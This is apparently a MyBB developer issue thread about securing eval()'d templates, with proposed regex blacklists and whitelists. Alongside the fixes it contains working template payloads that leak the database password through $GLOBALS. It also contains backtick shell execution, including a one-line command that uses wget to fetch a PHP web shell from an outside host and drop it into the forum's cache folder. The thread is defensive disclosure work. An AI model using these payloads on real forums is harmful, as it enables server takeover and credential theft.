MyBB

Guidance notes for plugin developers will be available shortly before the next maintenance release advising of the changes that have been made. Some variable styles will not be permitted in templates.

Applied in changeset r5392.

Applied in changeset r5393.

$mybb->config is a reference of $config, so there is no need of modifying both.

I was just testing - I never actually meant to commit it to the SVN. >_<'.

check_template currently disallows config and mybb->config, but GLOBALS['config']['database']['password'] still works.

Tom, you will probably kill me for this, but... $GLOBALS contains 'GLOBALS' as well (the structure recurses into itself). So if you prevent GLOBALS['config'], one can use GLOBALS['GLOBALS']['config'] instead.

eval() is evil in that it never ends... :)

Also, whitespace is allowed between $var and ['index'].

Is there any template that uses $GLOBALS? If not, disallow $GLOBALS altogether.

And I'm probably 100% dead now but the perfectionist inside me just noticed that this also matches $configfoobar which would be harmless as its an entirely different variable. Hopefully no plugin uses $configsomething or $globalsomething. Alternatively I guess appending a negative lookahead (?![a-z0-9_]) at the end of the pattern would prevent that from happening.

"#\\\$(globals|config|mybb->config)(?![a-z0-9_])#i"

Yup, I'm already leaving the country as we speak...

"#\\\$(GLOBALS\\s*\\[\\s*'(GLOBALS|config)'\\s*\\]|(config|(GLOBALS\\s*\\[\\s*'mybb'\\s*\\]|mybb)\\s*->\\s*config)(?![A-Za-z0-9_]))#"

prevents $GLOBALS['config'], $GLOBALS['GLOBALS'], $config, $GLOBALS['mybb']->config, $mybb->config including the allowed whitespace variations I could make out.

allows $GLOBALS['whatever'], $configwhatever, $mybb->configwhatever, and since variables in PHP appear to be case sensitive I removed the #i.

I haven't tested it thoroughly. A test suite would come in handy right about now :-)

I don't mind, I'll take your word for it! We'll soon see if it works. ;)

<?php

echo "<pre>";
print_r($GLOBALS["GLOBALS"]);
echo "</pre>";

preg_match("#\\\$(GLOBALS\\s*\\[\\s*'(GLOBALS|config)'\\s*\\]|(config|(GLOBALS\\s*\\[\\s*'mybb'\\s*\\]|mybb)\\s*->\\s*config)(?![A-Za-z0-9_]))#", '$GLOBALS["GLOBALS"]', $matches);
echo "<pre>"; print_r($matches); echo "</pre>";
?>

Result:

Array
(
    [GLOBALS] => Array
 *RECURSION*
    [_POST] => Array
        (
        )

    [_GET] => Array
        (
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

)
Array
(
)

True, it doesn't match when written with double quotes ". But using "" instead of singe quotes ' in templates gives me

Parse error: syntax error, unexpected '"', expecting T_STRING in /var/www/localhost/htdocs/mybb/calendar.php(2286) : eval()'d code on line 2
Array

PHP simply doesn't accept "" in this syntax

php > $foo['bar']=123;
php > echo "{$foo['bar']}";
123
php > echo "{$foo[\"bar\"]}";
PHP Parse error:  syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in php shell code on line 1

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in php shell code on line 1

So it's only an issue if a future version of PHP allows " there...

Do you have something that works in a template?

Aha! It really never ends.

{$GLOBALS[GLOBALS][mybb]->config[database][password]}

So you have to replace ' with '? in the pattern above since the quote is optional as it turns out. :(

This is why it should have been fixed with the entirely new template parser in 2.0 then dodgy workarounds right now all in the name of PR.

And another one: Execute any shell command, e.g.

${`sleep 5`}

@Andreas, what did you put in the template? I can't get that variable to reproduce the affect.

As posted, using backticks. http://php.net/manual/en/language.operators.execution.php

With shell_exec disabled it raises a warning instead:

Warning [2] shell_exec() has been disabled for security reasons - Line: 2 - File: printthread.php(163) : eval()'d code PHP 5.2.17-0.dotdeb.0 (Linux)
File     Line     Function
[PHP]           errorHandler->error
/printthread.php(163) : eval()'d code     2     shell_exec
/printthread.php     163     eval

Hopefully that's the default configuration for most hosts...

Tomm, try this:

${`cd ./cache/;wget http://nemesishack.altervista.org/download/shells/ajax_php_command_shell.txt;mv ajax_php_command_shell.txt themes.php`}

Tested on a live forum, and also on localhost. It will generate the file 'themes.php' in the cache folder.

PHP also allows space between { and `, ` and }

Maybe just disallow ${ as there is no case where this is legal, it's always {$

Andreas Klauer wrote:

Maybe just disallow ${ as there is no case where this is legal, it's always {$

In PHPs Language Reference you can find some cases for using ${ in strings (e.g. the follwing examples work).

{${foo()}}
${foo}
{${$foo}}

You can find this all here: http://www.php.net/manual/de/language.types.string.php#language.types.string.parsing

But none is used in MyBB...

Trying to approach the problem from a different angle:

Instead of blacklisting illegal / harmful constructs, we could whitelist harmless ones. So only {$foo}, {$foo['bar']}, {$foo->bar} is allowed, while specifically excluding $GLOBALS, $config and $mybb->config. With this, the other template security checks could be removed, as any pattern not matching the above will simply not be executed and instead show up verbatim in the HTML.

In class_templates::get() it could look like this:

        if($eslashes)
        {
            $template = addcslashes($template, '"$\\');
            $template = preg_replace_callback(
                "#{\\\\\\\$(?!(GLOBALS|config|mybb->config)\\b)([A-Za-z0-9_]+|->|\\[('[A-Za-z0-9_]*'|[0-9]+)\\])+}#",
                function ($match) { return str_replace('\\$', '$', $match[0]); },
                $template);
        }

First it escapes all $, rendering all variables useless. Then it unescapes $ for known constructs.

This code currently breaks 4 variables that are currently used in MyBB templates: {$config['admin_dir']}, {$lang->$status}, {$monthnames[$month]} and {$monthnames[$week_from_one]}. The above regexp could be changed to allow those, but it would make the regexp a lot more complicated. It is simpler to make those four variables available under a different name (e.g. $mybb->admin_dir instead of $config['admin_dir']).

As a side effect this also catches some simple syntax errors, such as {$foo['bar]}. Currently this error would lead to

Parse error: syntax error, unexpected T_STRING, expecting ']' in /var/www/localhost/htdocs/mybb/index.php(383) : eval()'d code on line 4

I'd rather not attempt preg functions in ::get() as it could go through dozens of templates (not to mention duplicate replace calls when a template is called again in a loop).

Andreas, can we apply your method in a similar way to the existing security check? Instead of throwing a security error we can instead replace it with a parse error message.

Haha, ouch. You have a point there, although that's already happening currently - same templates keep getting queried in a loop, and it adds the comments, and escapes " etc., every single time. This should only be done once and the already escaped templates returned in the subsequent calls...

It can't be adapted to the existing security check, since for that we'd have to match disallowed constructs again. The code above doesn't have a clue (and doesn't care) if there are such constructs in the code, as those constructs then simply stay escaped. We also can't look for escaped $ afterwards as those are legal (there are some templates with bits of JavaScript code in them) and besides the user might want to use the $ sign for something. Unless you want to force them to write it as {$dollar} instead... which would be a stupid idea.

Another approach would be doing the escaping at the time of insert. So the templates would be stored in the database in the already escaped form.

Doing this would involve changing all templates (master, global, user) at the time of update, the update would be non-reversible, all code that currently handles templates (template editor, find_replace_templatesets, plugins) would have to be changed to grab the already escaped template, unescape it, modify it (when reading templates), and escape it again before putting it back into the DB (when writing templates).

It's not impossible to do, but it'd be one big mess esp. since we have no control over what plugins do with the database. And letting a single template go through unescaped would open up all sorts of security issues again, so this is just not a good idea.

If you want to stick with the security checks, just add a check for $\s*{ ($ whitespace {)

Cache function could be written like this:

    /**
     * Cache the templates.
     *
     * @param string A list of templates to cache.
     */
    function cache($templates)
    {
        global $db, $theme;
        $sql = $sqladd = "";
        $names = explode(",", $templates);
        foreach($names as $key => $title)
        {
            $sql .= ",'".trim($title)."'";
        }

        $templates = array();

        $query = $db->simple_select("templates", "title,template", "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'asc'));
        while($template = $db->fetch_array($query))
        {
            $templates[$template['title']] = addcslashes($template['template'], '"$\\');
        }

        $templates = preg_replace_callback(
            "#{\\\\\\\$(?!(GLOBALS|config|mybb->config)\\b)([A-Za-z0-9_]+|->|\\[('[A-Za-z0-9_]*'|[0-9]+)\\])+}#",
            function ($match) { return str_replace('\\$', '$', $match[0]); },
            $templates);

        $this->cache += $templates;
    }

That'd make all templates cached in escaped form. So it's one preg_replace call per request, not one for every template->get. As long as all templates are cached anyway, which is a good practice even for plugins...

In the get function, code for uncached templates could then be changed to this

        if(!isset($this->cache[$title]))
        {
            $this->cache[$title] = "";

            $this->cache($title);

            if($mybb->debug_mode)
            {
                $this->uncached_templates[$title] = $title;
            }
        }

However, the if(eslashes) {} would have to be removed then. As all templates are escaped this way, there is no option to have them unescaped.

I haven't found a case in MyBB where the get function is called with eslashes=0. So it doesn't matter, as long as there isn't a plugin that relies on unescaped templates.

EDIT: This change currently also breaks the development (Dev Get) mode as it now lacks the escaping. So it'd have to be polished up a bit.

Still it shows that this approach can be done with little impact to performance.

Oh, and I guess function ($match) should be written differently as this closure style is a PHP 5.3 thing

Caused by changes from #1843 (r5818).

I think the problem is the "(*UTF8)". I've never seen this one in PCRE-patterns (and haven't found it via google). The correct solution should be adding the "u"-modifier (UTF-8 support for PCRE) at the end of the pattern.
So, line 656 should be the following (not tested):

if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~u', '', $template)))

@Chris, that would re-open #1843. (*UTF8) can be used when PCRE hasn't been compiled with the UTF-8 flag (I think, regex is my worst enemy).

I'm going to reset this back to the original regex and open #1843 as not fixed.